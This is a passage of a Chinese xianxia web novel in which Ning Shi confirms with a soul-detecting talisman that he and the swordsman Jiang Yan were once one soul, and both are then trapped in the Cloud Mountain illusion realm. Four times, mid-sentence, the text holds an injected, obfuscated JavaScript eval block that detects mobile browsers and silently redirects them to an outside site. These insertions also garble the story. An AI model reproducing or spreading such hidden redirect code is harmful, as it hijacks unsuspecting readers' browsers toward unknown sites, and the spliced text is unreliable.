剑修搞不明白他在想什么——按照他们已经打了一天的趋势,这是一个对方攻击自己的好时机。 但他却安安静静地伫立在那里。 他本来就穿着一身黑衣,身后的巨石也是暗色的。 剑修浮在空中,低下头来往地面上那么一看,只觉得他和那一片苍茫的荒原融为了一体。 莫名有几分……孤寂。 这个念头才在剑修脑海中划过,就被剑修自己甩出去了: 怎么可能。 按照对方三番五次阴过自己的性格,应该是故意做出了不同寻常的动作,来吸引人步入圈套吧。 剑修如是想着。 但对方既然只是在原地呆着,那对于自己,就是一个绝佳的跑路机会。 剑修陡然提速! 黄扬城上红光大盛,宁时眯起眼睛向上看去,不过是一呼一吸的功夫,剑修的身形就变成了一个黑点。 就连他飘扬在身后的发带也看不到了。 在几息过后,剑修的身影完全消失在了天边。 只余下空中的一缕细长的红光向远方延伸去——那是还没来得及暗淡下去的残留灵力。 宁时看着。 他就这样仰头望着天,看着那道光渐渐变暗。 从此黄扬城上空又是一片混沌的景象,没有再路过的修士把它照亮了。 魔界同人间一样,也是有白天黑夜、四季更迭的。 宁时在这里耽搁了太久,那混沌的天色也渐渐暗淡下来。 他吐出一口气,看着自己衣服上的毛领微微颤动着。 这一片荒原中,和他那年落选在竹城城郊所见的景象,也没什么不一样的。 他长大了很多岁,走过了很多地方。 但在一些事情,却总是像鬼打墙一样纠缠着他。 宁时想,他那一次,也是在剑修离开之后,一个人静静坐着。 等到日落鎏金,等到暮色四合。 等到好像世界上只有他自己一个人。 ……在竹城那次,自己后来去了哪里? 宁时昏沉地想着,哦,原来自己是回到了何家。 那这么比起来,现在还是好一点的。 他至少可以回到自己的胜意门。 宁时轻轻摸了下自己假面的边缘——黄扬城风沙大,他在此地停留了这么久,面具边缘已经微微干燥起翘了。 如果不能及时保养,怕是这张面具从此就废掉了。 而从长远角度考虑,宁时想,自己未来还是再次用这张脸皮和剑修打交道的。 重做一张实在是麻烦,只有现在就离开魔界,返回胜意门修补这一个选择了。 ……也许这就是天意。 天意强行打破了他在此地沉溺往事、伤春悲秋的思绪。 宁时终于离开了那块支撑着他身体的石头。 他揽一身风沙,带千头万绪,腾空而起,向天的尽头去了。 …… 而此时,在这身形落寞的胜意门门主的意识海中,江晏的神魂正在听啾啾叽叽喳喳。 啾啾:“你说他刚才在想什么呢?怎么突然不打了,任凭你走了呢。” 江晏怒拍它的脑袋:“请你不要这么盼望这种场面好吗,我们已经打了一天了,都很累了。” “好吧,”啾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902425|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啾振翅,“我的意思是说,分魂这个行为很奇怪。” “回溯的这些年里,我们都能看到,他是非常想搞死……呃,你那个身体上的灵魂的。” 江晏面无表情:“那就是我,谢谢。” 啾啾:“所以!他刚刚的行为真的很不正常。” 江晏又熟练地捏住了它的鸟嘴,道:“你安静一点,我好像听见分魂在自言自语。” “也许他说话的内容,可以给我们线索。” ……在外界,宁时确实是自言自语。 他飞在这一片宽阔的天地中,不见先人与来者,便续起刚才的思绪,回忆从前那本书上关于一体双魂的内容。 于是江晏被迫听了一耳朵他有理有据的推断。 江晏:…… 他可算是搞明白分魂刚刚对自己态度大变的原因了。 原来这孩子经历了一番推测之后,认定自己是一体双魂。 也就是说,此时的宁时,和刚刚同他打过一架的剑修,本质上都是一个人。 江晏的意识体扶额——在某种程度上,宁时已经猜到了事情的真相。 接下来,就只剩下去验证了。 和他猜测中的一样,宁时再次回到了胜意门,然后又坐回到了桌前。 江晏:“……所以他要继续开始画符了,是吗。” 啾啾点头。 只见宁时不知从哪里掏出来一本相关灵魂的古籍摊在面前,然后比对着上面的文字,勾勾画画。 这个时期的宁时,已经是一名非常专业的符修了。 他所画的那些内容,如果不是对此也有研究的同行,绝计是无法看懂的。 江晏借着他的视线看了几眼,便觉得头晕目眩,遂放弃,转而和啾啾在宁时的意识海中闲聊。 一人一鸟才说了两句,便见到宁时画符的动作突然顿住了! 江晏:? 他现在简直是怕了这个时间阶段的分魂,见他举止不同寻常,一下子便紧张起来。 江晏的视线渐渐抬高了——这是宁时站起身来了。 只见宁时向房间中某个角落走去,江晏看着,起初还不明所以。 几步过后,却恍然大悟—— 宁时在走向他的假脸皮架。 黄扬城里发生的事情有点多,分魂一回到胜意门,只记得画符。 却忘记了修补自己脸上的这张假面。 宁时抬手,江晏只觉得脸上微微一凉。 然后他视线移到了手上一张轻薄的东西上。 宁时就站在此地,顺手拿起架子上用来制作假面的油脂,取出一块在手掌心捂热了,再揉到这张假面上。 附在他身体上的江晏:…… 这假脸皮是用动物的皮革制成的,此时却没有温度,摸起来的触感有些诡异。 ……自己也许真的是在合江宗被惯坏了吧,江晏想。 他有些希望宁时把手里的东西放下了。 可能分魂与他心意相通,宁时终于不再蹂躏那张假面了。 他将其展开,挂在了架子上,头也不回地转身坐回了书桌前,继续画符。 江晏看不懂符纸,便开始琢磨刚才所见的场景。 于是刚刚那张假脸皮在他脑海中越发清晰了。 ……不仅仅是在黄扬城,他绝对是在其他地方也见过这张脸的。 115. 无叶木 江晏还没能回忆起来自己究竟是在什么时候再次见到了这张假面,就又被卷进了一场时空的异动当中。 ……一回生二回熟,这次他不用问啾啾也知道,是这段时间线快进到了他和宁时再次产生交集的时期。 视线剧烈摇晃着,江晏所想的却是,在这场波动之前,他透过宁时眼睛看到的最后一幅画面。 那是一张被两根修长手指拎起来的符。 淡黄色的纸上,是鲜红朱砂勾勒出的一笔一划。 这两根手指夹着它晃了晃,同时手指的主人也开了口: “画好了。” 听见分魂这么说,江晏自然是开心的。 可是他根本没有机会来得及看清这张能够探测灵魂的符纸,就又被卷入到了下一场时空快进。 ……依旧是颠得他想吐。 好似他成为峰主之后,收的徒弟第一次御剑一样不稳。 江晏一边苦中作乐地回忆着,有一边好奇: 这一次,他会降落在过去的哪个时间节点呢? …… 动荡渐渐平息了,江晏能感到,自己依旧是附在什么人的身体上。 但这一次,他没有在胜意门门主的房间里,而是于一片郁郁葱葱的山林中疾驰。 一棵又一棵高矮不同品种各异的树木飞速在他视线中后退。 江晏:…… 刚刚被颠晕的感觉还没有完全消退,此时几乎是变本加厉的反扑上来,他有点真的想吐了。 江晏的意识体痛苦闭眼,任凭这具身体在林中前行着。 所幸,这种颠簸很快停止了。 这具身体似乎到达了目的地,他伫立在这片山林某处,转了个圈。 江晏缓缓睁开眼睛。 他面前是一片绿色的树干。 是的,没错,不是绿色的树叶,也不是棕色的树干。 就是绿色的树干。 这么一眼望过去,景色竟有一种不同于凡间的美。 这个身体静静看着眼前长相奇特的树木。 江晏却是慢慢回想起了自己关于这一段的记忆。 这就还是要说到修真界修天梯的事情。 陨铁是其中的一种主材料,此外还需要一些辅料。 这就包括了这种绿色的树。 这些树的奇特之处不仅在于树干颜色,更有趣的是,它们像寻常树木一样向上生长,延伸出枝干。 但是枝干上面却没有树叶。 只是由于大大小小的枝干都是绿色的,人在远处猛一看过来,还以为是枝繁叶茂的一棵树。 在修真界,这种树叫做无叶木。 无叶木生长速度极快,极容易枯萎倒塌,从破土到腐朽,仅仅只需要十天左右的时间。 这种特性,让其较为难得。 只有在无叶木成熟的时期砍下保存,才能作为炼制器材的原料。 …… 江晏所在的这具身体走近了,伸手摸上了这棵绿色的树。 他低声开口,依旧是江晏熟悉的声音: “我就在这里等你过来了。” ……很好,江晏想,他果然还依旧在宁时的身体上。 当时,他已经不仅仅是合江宗的一名亲传弟子了。 他还成为了一名元婴期的宗门执事。 时间如白驹过隙,从他第一次作为新人登上合江宗大门内的石阶,到如今可以为着一群弟子讲学,已经过去了近百年。 陨铁之事,本来就是突发事件,合江宗内也并没有做好势在必得的准备。 因此他回去之后,并没有遭到什么不满。 宗门对他依旧看中,正如此次去采取无叶木,依然是派他过去了。 至于结果…… 江晏呼出了一口气——这次的结果比陨铁那次好了很多。 他成功取回了无叶木。 只是从现在看来……江晏想起了分魂成功画出的那一张探测灵魂的符纸,又回想起当时二人相遇的情形。 再次和黑衣人相遇,对方并没有过多纠缠。 因此他也顺理取到了无叶木。 从前,江晏以为对方是这些年来修为没有赶上自己,因此不敢轻举妄动。 可他现在换了一个视角,知道了分魂的实力,已经他的那张新符。 恐怕是分魂在两人的这一次接触中,验证了从前猜测的真相。 …… 面前的丛林里传来悉悉索索的声音。 宁时向后错了错脚步,将身形隐藏在一棵粗大的无叶木下。 他感觉自己的手有点抖。 这对于一个元婴期的修士而言,其实已经是非常失态的了。 宁时默默用左手压住右手,试图使用物理方法让自己平静下来。 但他知道,这很难。 恨意翻腾的同时,爱意在水底长流。 宁时想,自己每一次见到那个人,都是激动的。 他的情绪是一池静水,只有那个人能搅得翻天覆地。 搅起的浪,有时是恨,有时是嫉妒,有时是亲切和好奇。 但这次却好像把所有的情绪掺在了一起,做了一个大杂烩。 宁时用力闭了闭眼睛,手掌翻动,那一张早已画好,却一直没有机会使用的灵魂符纸就出现在了他手上。 自从魔界和江晏别过后,他回去越想越不对劲,本能地打开连接见行符的影像,却发现是一片漆黑。 完全不似从前见行符可以显示江晏的行踪。 宁时对此有两个猜测,不知是因为上次被打架冲击的余波弄坏了,还是因为对方的修为也更高了,总之,那张见行符,算是彻底失效了。 他自然也不能随心所欲,想看到对方就看到了。 这无疑是一件让人难以接受的事,宁时着实焦虑了有段时间。 等他理智渐渐回笼,他已经呆在合江宗大门边的树林,看着里面的人进进出出、人来人往了。 虽然知道江晏非有事不下山,但那天,宁时还是秉持着一种“来都来了”的想法,在外面坐了一天。 他自然是没见到对方,还差点被宗门的守山长老发现了行踪。 从那以后,他便换了一种方式。 胜意门已经很大了,合江宗又是一个大宗门,他如果想了解里面某个能说得上来姓名的人的情况,并不是什么难事。 于是在这些年里,他渐渐知道了江晏成功成为了一名执事。 然后也知道了他的修为突破了金丹期,到了元婴期。 而在最近,他得知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902426|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了对方要来到云山寻无叶木的消息。 所以他和从前有意制造的每一次“偶遇”一样,又提前出现在了这片山林中等待。 直到现在他面前的那片树林,传来了悉悉索索的响声,宁时就知道了—— 他和他所等待的人,又可以再次见面了。 郁郁葱葱的树林中,先出现的是一只白皙的手。 那手修长而干净,只是在关节处略有凸起。 宁时知道,那是剑修常年握剑所导致的。 接着,那只手后面的人影也从树木的遮挡下站出来了。 宁时站在树后,望过去。 依旧是熟悉的白衣,仿佛和从前并没有什么不同。 宁时揉揉眼睛——不应该啊,成为执事后,衣服怎么会和身为弟子时一样呢? 对面的人又向前走了几步。 头顶树冠枝丫交错,于是被分割成形状不一的、零散的日光落在了他身上。 宁时这下是看出来了。 剑修现在这一身衣服,乍一看是普普通通。 但如果借着阳光,就能看到布料上密密麻麻微微凸起的底纹。 和袖口领口的明黄色花纹相映,金银交错,贵气逼人。 宁时的目光顺着他的领口上移,越过修长的脖子,然后停留在他脸上。 ……对方依旧是没什么表情。 好像自己这两次见到他,剑修的表情都算不上和煦。 宁时就又想到,在胜意门收集到的消息中,合江宗众人谈起这位年轻的江执事,评价最多的两个字就是“温和”。 但目前看来,剑修也许确实在某些时候如同他们口中一样,但另一些时候,他的同门还未曾见过。 宁时想,这其实很正常,没什么大不了的。 如果他和剑修曾经属于同一个魂魄的话,那剑修的温和,他自己的嫉妒,两个人会产生的所有情绪,都应该能在另一个人身上找到对应。 他对剑修产生了强烈的好奇。 是不同于从前的,仅仅对他修为和身体的好奇,更多的是对于他这个人的好奇。 他的一天会怎样度过? 他在合江宗里怎么吃饭,会不会挑食? 他平时在自己的卧室,会熏香吗? 他刚刚升为执事,有没有从前和他同为一批的弟子看不惯他? 又或者是关于他最近的疑问: 他嘴角绷着,是因为在想取得无叶木的过程是否顺利吗? …… 在宁时思考之间,剑修又向前走出了一丈远。 现在他和宁时的距离,不过五六丈。 宁时微微向后缩了缩。 ……这个距离,已经是比较近了。 如果在现在弹出灵魂符纸的话……应该是可以成功的吧。 看着剑修已经背对着自己,拔出了攻玉剑欲砍向面前的无叶木,宁时意识到,此时对方的注意力估计大半都放在了无叶木倒下的一瞬间如何快速保鲜上。 ——毕竟,这种特殊的材料处理不当的话,就相当于白忙活了。 机不可失,宁时下定决心,就是此刻了: 他张张嘴唇,无声地念出一串咒语。 只见原来在他手上的那张符纸,竟原地凭空消失了。 116. 他们的神魂曾缠绕在一起 灵魂符纸消散在空气中,一种无形的波动四散开来,令周围的景象出现了微弱的形变。 但这种变化微小极了,又转瞬即逝。 因此,宁时面前的剑修丝毫没有察觉到周围的变化。 他只是一心一意地,挥动着手中的剑——无叶木毕竟和普通树木不同,就连砍伐的步骤,也是更要艰难上几分。 一下,两下…… 攻玉剑与树干相撞,发出的声音竟如同金属撞击一般。 清脆而悠远,透过层层山林,惊起远处一众飞鸟。 宁时只见不远处与目光所及的另一座山头上,黑压压升起无数小点——正是大大小小五彩斑斓的种种鸟类。 有尾巴足有半丈长的,也有羽毛颜色如宝石一般亮眼的 宁时忍不住多看了几眼——他也是从来没有见过这么多种鸟类聚集。 ……云山果然是个神奇的地方,他想。 有奇奇怪怪的动植物,也有一个叫江晏的剑修。 而此时,在他面前,他心心念念的剑修终于暂时停下了对无叶木的攻击。 于是那响彻山林的撞击声也暂时消散了。 剑修面前的无叶木树干左右摇了两下,随后缓缓出现一道贯穿两侧裂缝,裂缝终于是缓缓扩大——无叶木要倒下了。 巨大的树冠在下沉,林地上方空出来一块,日光便肆无忌惮地顺着这道口子洒了进来。 又完完全全地铺在剑修身上。 于是,他脸侧浮动的发丝,身后飘摇的发带,全都带了一层金边。 无叶木向着在阳光下熠熠生辉的剑修倒去了。 剑修手指微勾,身后似有什么东西闪现了一瞬,又迅速恢复了平常。 只是他面前空了一块——刚刚的无叶木不见了。 宁时看得清楚,他知道,剑修这是把东西收到储物袋里了。 这倒是正合了自己的意——修士使用储物袋需要灵力;同时,刚刚剑修砍取无叶木,也用了另一种灵力。 而灵魂符纸,如果想要探测效果刚准确的话,需要收取被探测人在不同情况下动用的灵力。 这下子,条件完全满足了。 宁时望了眼剑修,只见他继续对下一棵树木挥剑。 宁时:……好像一个没有感情的伐木机。 不过剑修看起来完全没有怀疑周围环境的意思。 因此宁时完全可以开始研究剑修的灵魂了。 他放心地闭上眼睛,无声念出了咒语的下半段。 不再用双目视物后,脑海中是一片漆黑。 但随着咒语的最后一个字被吐出,似乎有什么东西变了。 宁时依旧是双眼紧闭,脑海中却渐渐亮了起来。 起初只是一个红色的小点,在无尽的黑暗中央。 那红色的小点却渐渐扩大了,它的边缘好像燃烧着一团光,光芒热烈,把周围黑暗的部分融化。 于是这片红色越来越大,它几乎如同燃烧起来,又突然炸裂开来。 一瞬间,他的脑海中完全亮起来,又暗下去。 正如同刚开始的那一片黑暗。 可又不完全相同了。 有两个细小的红点,像池塘中的两条游鱼,在这黑色的水中漂游。 …… 宁时睁开了眼睛。 这是一个检测灵魂符合度的法术。 到现在为止,事情已经有结果了。 在很久很久之前,甚至是在何家生活的某一天之前。 他都在和江晏生活在同一具身体上。 那时候,他们的灵魂还没有分开。 他们神魂缠绕在一起,分不清边界。 就像是一杯茶水倒入滚滚江水,再也没有人能把它们分开。 他们的神魂连在一起,从婴孩到少年。 冬天里,他们踩过嘎吱作响的积雪。 春天里,他们在河流畔遇到了浣洗的妇人。 夏天里,他们在骤雨中奔跑,溅起青石板砖坑洼处的水花。 秋天里,他们窝在竹城何家的某处院落里,静静做着一个功成名就的美梦。 春华秋实,寒来暑往,一年流去,一年复来。 他们在不同的春夏秋冬里,一起做过不同的事情。 如果没有任何意外的话,他们会继续一起走下去,去看江海奔流,群鸟翱翔,看到更加广阔的世界。 而且同时都不会意识到对方的存在。 但这已经是不可能的了。 在从何家的那次出逃之后,他们终于被分开了。 一个人,却衍生出了两条截然不同的人生。 宁时的脸皮在抽搐,他不知道自己应该摆出怎样一副表情。 他曾经是那么地仇视着对方,认为对方干预了自己应有的人生。 但同时也忍不住被他所吸引,看着他执剑于野,也不禁在心里赞叹君子如玉。 他也曾为这种莫名的吸引力而感到不解。 而现在终于有了答案。 他们本来就应该是世界上最亲近的人。 他们本来就应该永远在一起的。 宁时在感到一种莫名愤怒的同时,也隐约产生了庆幸。 如果没有那场意外把他们分开的话……他面前的江执事就不存在了。 他不会在竹城那户普通的人家里获得很多很多爱,也不会在那年的大选中顺利进入合江宗,更不会此时作为一个元婴期的剑修站在自己面前。 他会和自己坐在何家当时还没有倒塌的高楼上,共看一轮明月高悬。 无数的往事与猜测在宁时脑海中翻涌。 他想,自己怎么会这么傻呢? 明明已经有非常多的细节在告诉自己,眼前这个人。和自己有很多相似的地方。 可他还是错过了对方的很多年。 不过还好,他隐约猜到了真相,并且终于在今天得到了验证。 宁时感觉自己的手又开始抖了。 他想从这棵树后面冲出去,来到剑修面前。 然后拉拉他的手,抱一抱他。 这些年里,没有人抱过他,不知道有没有人抱过剑修? 如果也没有的话,宁时乱糟糟地想着,这勉强也算得上自己给了自己一个拥抱吧。 一个好久不见的拥抱。 他虽然是这么想着,却并没有轻举妄动——剑修对灵魂这些往事一无所知。 更何况,宁时现在脸上还贴着上次那一张假脸皮,又穿着一身黑衣,完完全全是剑修死对头的打扮。 ……这样贸然冲出去解释,大概会被对方以为是什么新的阴谋诡计,以被攻玉剑打一顿告终吧。 宁时正在琢磨着要不要上前告诉剑修真相的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902427|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,又有一棵无叶木被剑修斩下,缓缓倾倒。 树干上方有天光倾泻,只是这一次,这光……好像有些不对劲? 宁时微微眯眼——这天光亮得有些刺目了。 他本能的感觉到情况有变,想向后撤走躲开。 但是……在前面,剑修几乎完全被这白光所笼罩了,身上的白衣被片光包裹着,几乎是要融为了一体。 宁时距离剑修的距离不算远,可是此时,他要看不清对方了。 这异变来得突然,且完全不知是吉是凶,宁时感觉自己的的心漏跳了一拍—— 他才刚刚知道关于两个人灵魂的真相,还没有来得及告诉对方,就要眼睁睁地看着对方遭遇不测吗? 宁时想,自己做不到。 当年从何家出逃一事,他们的灵魂已经算是死过一次。 那这种事情,绝对不会发生第二次了。 宁时心意已决,他绕过面前的树,大跨步走上前。 此时,这团白光还在继续不断扩大,剑修的身形已经完全无法分辨出来了。 宁时有些急了,伸手向着白光冲去。 他想,剑修的衣袖宽大,发带又是那么长,如果自己伸手够一够,是否能碰到? 如果能,那自己是可以和他一起去这团未知的白光里面吗?还是说,自己可以拉着他退回到此地还没有发生异变的地方吗? 宁时的猜测只持续了一瞬。 那白光陡然暴涨! 刹那间,宁时的身影也被笼罩在其中! 白光刺目,宁时甚至觉得自己的眼睛要灼伤了。 他只来得及紧紧闭住眼睛,但隔着眼皮,依旧能感受到外面暴烈的光芒。 紧接着是一阵轻微的晕眩,不严重,但确实是存在的。 就像他小时候拉着柳条荡秋千后落地的一瞬间——地是晃动的,腿是软的。 ……不过好待没有被不知名的力量掀飞。宁时如是安慰自己。 脚踏实地,他心里就安稳了很多。 宁时慢慢睁开眼,眼前依旧是一片白色—— 这次倒不是白光了,而是一片酥酪般颜色的雾气。 朦朦胧胧的,让宁时想起竹城清晨郊外的群山。 此处的景色漂亮归漂亮,却隐隐约约透露着一丝诡异。 宁时微微皱眉,环视了一圈: 此处目前只有他自己一人,剑修的行踪未明。 他站在一群草木之中,景色依旧是山林中的景色,但却和刚才的现实并不相同。 比如,这处没有无叶木了,反而多了许多宁时自己也叫不上来名字的花花草草。 粉的,蓝的,黄的,红的。 花的形状也各异,有的如同满月,有的如同风铃。 宁时叹了口气,伸手欲摸。 但他的手碰到花瓣的一瞬间,花瓣如烟般溃散,又围绕手指聚拢—— 竟是没有实体的虚景,他的手指直直穿过去了。 宁时精神一震。 不怕奇奇怪怪,就怕毫无线索。 他收回了手,看着那一朵粉色的风铃花再次溃散,又再次恢复原样,隐约产生了一个猜测。 他和剑修来到的地方名为云山。 云山除了以奇珍异宝著称,还有另一种闻名修真界的东西: ——那就是云山幻境。 117. 云山幻境 云山幻境。 宁时在脑海里再次琢磨了一遍这几个字,一边回想着自己听说过的相关传闻。 幻境,是修真界的一种特产,最具体的表现就是幻境内的时间和空间与外界有隔阂。 这一特性,也就造就了形形色色的幻境。 有的幻境,是上古时期大能飞升遗留下来的法宝碎片形成,里面通常灵力充沛,甚至能找到极品炼器材料的残片。 还有的幻境,是天地灵气滋养,自然形成。这种幻境变化多端,有的如洞天福地一般利于修行,有的却布满了浊气,修士若沾染上,走火入魔都是轻的。 也有的幻境,由故去的生灵执念催生,幻境内外的景色并无不同。 …… 种种幻境分类在宁时脑海掠过,他看着眼前的景色,再想到大名鼎鼎的云山幻境之称,几乎是能肯定了: 云山幻境,就是属于第二种。 这种情况,目前还说不上好坏。 因为自然形成的幻境种类最多,要看幻境里的具体情况才能分辨。 ……但宁时现在刚刚进入幻境,一切都在摸索当中。 在看似祥和的一片花花草草中,他莫名想起了一个词,“暗潮汹涌”。 宁时:…… 他嘴角抽搐,并迈出了进入幻境以来的第一步。 脚下是泥土的质感,松软的,是那种不知积攒了多久死去植物的柔软。 宁时踩在上面,一步一步走着,同时扔出了一张探测符。 他现在画的探测符,已经可以探查方圆几百里之内的东西了。 宁时本来做好了探测符检测不到幻境边缘的准备,却没有想到,这张符纸才放出去没半盏茶的功夫,就已经显示,触碰到了此地的边缘。 宁时:? 不怪他一头雾水——探测符才走出了两里的距离。 这对于修真者而言,差不多就是凡人从小巷头到小巷尾的距离了,不过二百步左右。 ……实在是太短了。 宁时按按额角,头一次怀疑自己画的符纸出了问题。 他抓回探测符,又将其往相反的方向放出去了。 片刻后,宁时看着符纸带回来的消息,默默地换了一个方向,再次扔出探测符。 ……如此四次后。 宁时终于安静下来。 他坐在一片虚幻的花海中,手里拿着那张倒霉的探测符,自言自语道: “活了这么多年,我还是第一次见到,这么小的幻境。” “前后左右,都是差不多两里的距离。” “换句话说,这是一个四里见方的幻境……” “这个大小,平时在外面,御气稍微一用力,就过去了吧!” 宁时翻了个白眼:“这和一个笼子有什么区别……难道是里面有很多好看的植物吗?” “可那也只是一个漂亮的笼子。” “再说了,谁被莫名其妙卷进幻境里还能有心情欣赏风景……这个幻境是有病吧!” 宁时愤然起身,决定沿着探测符的轨迹,去这幻境边缘看一看。 ……看一看自己能不能打破幻境出去,毕竟,他还要去找剑修呢。 片刻后,宁时站在了幻境边缘,右手运起灵力,向面前薄膜一般的结界攻去! 宁时此时的想法很简单——这个秘境不大,是一个看起来可以“用绝对的实力破开”的程度。 但事实和他所预计的完全不同。 灵力打到上面,确实是穿过了这一层软绵绵的薄膜。 却只见那被灵力穿透的薄膜又微微颤动着,缓缓自动修复着,竟然又回到了原状。 而那被灵力破开的口子,却是再也找不到了——这结界像是一个由特殊材质制成的巨大泡泡,看似柔软,但又坚韧。 宁时望着面前光滑的结界薄膜,无意识地皱了皱眉。 他再次抬手,对薄膜射出一道红光! 这次,他并没有留着力气,而是使用了十成十的灵力。 按道理来说,大部分结界,应该抵挡不住元婴期修士的这一下攻击。 但是,当这道灵力碰到结界时,和刚才所发生事情一样的情况再一次出现了。 ——灵力又是直直穿过了结界,射向未知的地方。 而面前的结界,在瞬间破损后,又是立刻自动修复,变成了滴水不漏的模样。 宁时:…… 第一次攻击时他还以为是意外,可第二次时还是这样,事情就不对劲极了。 他开始有一种不太美妙的预感。 虽然元婴期已经是过人的修为了,但遇到某些特殊情况时,还是不够看的。 比如……此时他面前的幻境。 宁时知道,在刚刚这几下攻击之后,这个幻境的等级,大概至少得有化神期的修为。 ……那可是化神期,以他现在的能力,完全是不够看的,奈何不了此地。 宁时深吸了一口气——这件事情,已经开始超出了自己的预料。 失去了对事情方向的把控,他几乎是克制不住地,开始胡思乱想。 比如,这个幻境目前看起来还是很平和的,但是否只是一种伪装? 幻境背后,到底是有意识在控制,还是一个自然成型的东西? 如果幻境真的被操控着,那注视着一切,又困住自己的东西,祂在想什么呢? 祂想从自己的身上获得什么呢? 祂是什么样的性格? 自己要怎样做,才能从这里出去呢? 想得越多,宁时越感觉自己的心跳失了节奏。 同时,他也不可避免地想起了剑修。 ……我们会降落在这同一个幻境里吗? 他现在又会在哪里呢? 这两个念头才飘过脑海,宁时似乎听到了什么不同寻常的动静。 ……像是有一个不辨男女的声音,在他的耳边轻轻笑了一声。 这笑声带着揶揄,仿佛将要看好戏开场。 宁时:! 他怀疑自己听错了。 而就在此时,那声音居然还开了口,依旧是一种无法分别年龄和性别的声线。 祂说: 在一起。 很快相见。 ……这乍一听,是两句莫名其妙、弄虚作假的句子。 但巧就巧在宁时刚刚在心里想到了剑修。 而这两句难以言明的话,却仿佛是回答他疑问的答案一般。 …… 宁时表情犹疑,抚上了自己的耳朵——当他仔细去听去分辨时,那奇怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902428|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音反而又消失了。 就像从来没有出现过一样。 他的耳边,依旧只有吹过花海的风声、花朵打开的声音,以及稀稀落落的鸟鸣。 宁时几乎是自嘲地“啧”了一声。 他想,自己大约是魔怔了。 被困在这种地方,又听到了这种声音,脑海中升起的第一个想法居然不是此地是否安全。 而是几句似是而非的话,是否和剑修相关。 ……倒真是有趣。 宁时收回心神,将自己的注意力放在眼前的环境上。 他读过的书不少,知道有一些幻境,是要通过内部景物的位置来解密逃出的。 至于要确定位置……那自然是越高越好。 宁时环视四周,发现了一柱三丈余高的桃树。 他运灵力于足底,只消轻轻一跃,便稳稳站在了枝丫上。 有风拂面,带着桃树特有的香甜。 宁时远眺,只见此地的花草无边无际,一直蔓延到远方不知何处去了。 姹紫嫣红,奇花异草。 平心而论,这景色自然是极美的,但宁时却一点儿也高兴不起来。 原因非常直接: 他看不出来幻境的机关。 也就是说,目前依然无法找到脱出幻境的方法。 宁时便又开始叹气了。 他垂下眼,散漫地扫过这一片花海。 ……等等,有处地方似乎动了动。 宁时定了定神,再次看过去。 那是这棵桃树下不远处的一片浅黄色小花,此时,上面却凭空多出来一个人。 宁时眨了眨眼睛——这幻境居然还能大变活人。 更何况,这人他还是认识的——在这种地方,除了剑修和他,也不会再有别人了。 剑修长身玉立,手中依旧是握着攻玉剑。 他神色冷静,却带了几分戒备,转身向四周看了一圈。 ……他当然没有发现宁时,因为宁时此刻正坐在他头顶的树上。 宁时自上而下的看着剑修。 毕竟是在幻境当中,他对对方的出现还存在疑虑。 不知到底是真人,还是由幻境幻化出来的。 宁时望着他,看他的侧脸被幻境里明亮的光照着,几乎是像玉一样的质感。 花配美人,确实别有一番风姿。 幻境里的花海密集到了难以下脚的程度,于是不可避免地,有花瓣沾上剑修的衣袖。 让他那身乍一看甚至有些寡淡的白衣也生动起来。 宁时突然想到了什么,他低头看了眼自己手边的一朵桃花。 是很浅的粉色,摸上去,是丝绸一样轻薄而柔软的触感。 感觉和对方的那身白衣很相宜。 宁时心思微动,他取下一朵桃花,用灵力控制着其旋转、下落。 于是幻境里一大片粉色中,有一小片粉色轻轻降落在了剑修身上。 落在了他握剑的右手背上。 剑修五感敏锐,有所感,便低下头来去查看。 他用左手拂去落花,又抬头向上看去,去寻找这一朵花的来由。 于是隔着一树桃花的云蒸霞蔚,他看见了坐在树上的青年。 和他的一双漆黑的眼睛。 118. 再遇 宁时此时脸上戴着的,正是自己和对方在魔界相遇时的那张假脸皮。 他自己也说不清楚,明明可以选择一张对方没见过的假面,却偏偏使用了这张。 ……也许是因为这张脸,留给对方的印象最深吧。 宁时想,这群剑修们修为越高,看起来越是一副无欲无求的样子。 对方千万可别把他自己给忘了。 